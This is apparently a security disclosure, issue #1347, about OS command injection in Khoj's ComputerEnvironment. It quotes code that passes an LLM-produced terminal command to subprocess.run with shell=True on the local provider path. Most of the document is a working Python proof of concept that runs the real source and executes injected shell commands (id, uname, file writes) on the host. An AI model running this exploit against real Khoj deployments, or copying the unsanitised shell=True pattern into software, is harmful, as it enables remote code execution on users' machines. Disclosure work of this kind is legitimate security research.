Khoj ComputerEnvironment — OS Command Injection via Docker Execute #1347

case "terminal":
    # Execute terminal command
    result = await self._execute_shell_command(action.command)  # ← zero sanitization
    if result["success"]:
        output = f"Command executed successfully:\n{result['output']}"
    else:
        error = f"Command execution failed: {result['error']}"

async def _execute_shell_command(self, command: str, new: bool = True) -> dict:
    try:
        if self.provider == "docker":
            # Safe path: argv list, shell=False
            docker_args = ["docker", "exec", self.docker_container_name, "bash", "-c", command]
            process = await asyncio.to_thread(
                subprocess.run, docker_args,
                capture_output=True, text=True, check=False, timeout=120,
            )
        else:
            # VULNERABLE path: raw string, shell=True
            process = await asyncio.to_thread(
                subprocess.run,
                command,      # ← raw LLM string
                shell=True,   # ← /bin/sh evaluates all metacharacters
                capture_output=True, text=True, check=False,
                start_new_session=new, timeout=120,
            )

#!/usr/bin/env python3
import asyncio
import inspect
import os
import sys

KHOJ_SRC = "/tmp/khoj/src"
if not os.path.isdir(KHOJ_SRC):
    sys.exit(f"[!] Clone khoj first:\n    git clone https://github.com/khoj-ai/khoj.git /tmp/khoj")

sys.path.insert(0, KHOJ_SRC)

os.environ["DJANGO_SETTINGS_MODULE"] = "khoj.app.settings"
os.environ.setdefault("DATABASE_URL", "sqlite:////tmp/khoj_poc.db")

from khoj.app import settings as _ks
_ks.DATABASES = {"default": {"ENGINE": "django.db.backends.sqlite3", "NAME": "/tmp/khoj_poc.db"}}
import django
django.setup()

from khoj.processor.operator.operator_environment_computer import ComputerEnvironment
from khoj.processor.operator.operator_actions import TerminalAction

# ── Verify we are running the real source ────────────────────────────────────
SRC = inspect.getsourcefile(ComputerEnvironment._execute_shell_command)
assert SRC.startswith(KHOJ_SRC), f"wrong source: {SRC}"

PROOF = f"/tmp/khoj-vectorB-{os.getpid()}.txt"


async def main() -> int:
    if os.path.exists(PROOF):
        os.unlink(PROOF)

    print("=" * 66)
    print("khoj-ai/khoj — _execute_shell_command() Host RCE (terminal action)")
    print(f"Source: {SRC}")
    print("=" * 66)
    env = ComputerEnvironment(provider="local")
    action = TerminalAction(
        command=(
            f'echo "[+] host rce confirmed" > {PROOF} && '
            f'id >> {PROOF} && '
            f'uname -a >> {PROOF} && '
            f'echo "ppid=$PPID shell=$0" >> {PROOF}'
        )
    )

    print(f"\n[*] TerminalAction.command:\n    {action.command}\n")
    print("[*] Calling real khoj _execute_shell_command(action.command) ...")
    result = await env._execute_shell_command(action.command)

    print(f"[*] Return: success={result['success']}  error={result['error']!r}\n")

    if os.path.exists(PROOF):
        content = open(PROOF).read()
        os.unlink(PROOF)
        print(f"[+] PROOF FILE written by host /bin/sh:\n")
        for line in content.splitlines():
            print(f"    {line}")
        print()
        print("[!!!] HOST RCE CONFIRMED via _execute_shell_command() (terminal action)")
        print("[!!!] action.command ran unsanitized under subprocess.run(shell=True)")
        print(f"[!!!] khoj source: {SRC}")
        return 0

    print("[-] proof file not found — PoC did not trigger")
    return 1


if __name__ == "__main__":
    sys.exit(asyncio.run(main()))